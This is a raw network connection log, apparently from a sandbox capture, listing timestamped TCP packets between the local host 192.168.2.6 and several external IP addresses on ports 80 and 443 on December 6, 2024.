Dec 6, 2024 18:45:53.492182016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.492862940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.492876053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.492906094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.493990898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.494041920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.494343042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.495043039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.495081902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.495168924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.496061087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.496120930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.496336937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.496390104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.497143030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.497318983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.497379065 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.498224020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.498635054 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:53.498716116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.498718023 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:53.499334097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.499346018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.499360085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.499392986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.499416113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.500400066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.500541925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.500590086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.501466990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.501796961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.501849890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.502535105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.502613068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.502666950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.503580093 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.507914066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.572860956 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.573079109 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:53.573103905 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:53.573120117 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.577008963 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:53.577014923 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:53.577277899 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.577286005 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.581096888 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.581103086 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.610224962 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:53.622500896 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:53.622512102 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:53.626794100 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:53.626799107 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:53.631902933 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.632200956 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.635396004 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.635400057 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.635554075 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.635557890 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.661957026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:53.664194107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:53.666788101 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.668194056 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.681982040 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.681989908 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.694611073 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:53.694617987 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.865550995 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:53.867336988 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:53.867351055 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:53.867903948 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:53.867908955 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:53.995978117 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:53.996707916 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.047852039 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:54.047878981 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:54.047954082 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:54.047976017 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:54.047990084 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:54.048037052 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:54.055668116 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.055696964 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.055716991 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.055759907 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.055795908 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.055804014 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.055849075 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.060281038 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.060340881 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.060398102 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.123569965 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.123594046 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.123613119 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.123661041 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.123688936 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.123703957 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.123733044 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.129368067 CET	49831	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.129404068 CET	443	49831	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.149497986 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.149518013 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.149533033 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.149595022 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.149601936 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.149632931 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.149677992 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.191715956 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.192975044 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.192991018 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.193424940 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.193429947 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.195739031 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.195765972 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.195858002 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.195995092 CET	49840	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.196007013 CET	443	49840	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.203445911 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.203463078 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.203852892 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.203856945 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.238193989 CET	49834	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:54.238224983 CET	443	49834	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:54.242736101 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.242758989 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.242791891 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.242806911 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.242820024 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.242841959 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.290180922 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.290199041 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.290251017 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.290261984 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.290292025 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.290303946 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.300636053 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.300698996 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.300746918 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.301155090 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.301156044 CET	49832	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.301167965 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.301177025 CET	443	49832	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.303528070 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.303544998 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.303668022 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.303829908 CET	49841	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.303842068 CET	443	49841	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.309264898 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.309310913 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.309331894 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.309344053 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.309370995 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.309395075 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.330585003 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.330602884 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.330629110 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.330683947 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.330688000 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.330724955 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.358181953 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.358206987 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.358243942 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.358258009 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.358287096 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.358303070 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.377149105 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.377166033 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.377208948 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.377216101 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.377254009 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.387631893 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.387784958 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.390885115 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.390908957 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.391007900 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.391031981 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.391326904 CET	49838	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.391331911 CET	443	49838	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.391661882 CET	49839	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.391669989 CET	443	49839	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.411870003 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.411890984 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.411933899 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.411952019 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.411983013 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.411997080 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.452449083 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.452469110 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.452517033 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.452533960 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.452567101 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.452585936 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.473014116 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.473030090 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.473095894 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.473104954 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.473143101 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.476409912 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.476435900 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.476474047 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.476496935 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.476524115 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.476535082 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.493947983 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.493973017 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.494036913 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.494059086 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.494102955 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.500406981 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.500432014 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.500503063 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.500523090 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.500549078 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.500571012 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.502698898 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.502727985 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.502774000 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.502784967 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.502829075 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.528225899 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.528256893 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.528330088 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.528348923 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.528397083 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.529786110 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.529803991 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.529875994 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.529881954 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.529925108 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.549031019 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.549057007 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.549232960 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.549242973 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.549287081 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.552561998 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.552587986 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.552634954 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.552648067 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.552684069 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.552705050 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.570828915 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.570852041 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.570887089 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.570893049 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.570909977 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.570930004 CET	443	49836	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.570949078 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.570977926 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.572798014 CET	49836	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.573384047 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.573407888 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.573446035 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.573451996 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.573477030 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.573499918 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.605554104 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.605586052 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.605654955 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.605822086 CET	49842	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.605833054 CET	443	49842	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.606017113 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.606065035 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.606098890 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.606126070 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.606144905 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.606170893 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.620889902 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.620908022 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.620984077 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.620991945 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.621047020 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.629436016 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.629503965 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.629556894 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.629720926 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.629738092 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.629746914 CET	49837	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.629753113 CET	443	49837	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.631859064 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.631895065 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.631954908 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.632086992 CET	49843	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:54.632100105 CET	443	49843	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:54.636925936 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.636944056 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.637017965 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.637026072 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.637067080 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.652986050 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.653007030 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.653078079 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.653084993 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.653131962 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.661720037 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.661753893 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.661801100 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.661813021 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.661856890 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.668015003 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.668032885 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.668107033 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.668113947 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.668173075 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.677644014 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.677666903 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.677738905 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.677746058 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.677783966 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.684081078 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.684101105 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.684170008 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.684176922 CET	443	49830	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.684221029 CET	49830	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.688827038 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.688867092 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.688916922 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.688925982 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.688945055 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.688961029 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.690253973 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.690274954 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.690344095 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.690351009 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.690387964 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.702579975 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.702613115 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.702667952 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.702680111 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.702730894 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.704768896 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.704791069 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.704854012 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.704862118 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.704890013 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.704919100 CET	49833	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.717233896 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.717259884 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.717314005 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.717319012 CET	443	49835	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.717381954 CET	49835	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:54.719141006 CET	443	49833	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:54.719161987 CET	443	49833	150.171.27.10	192.168.2.6
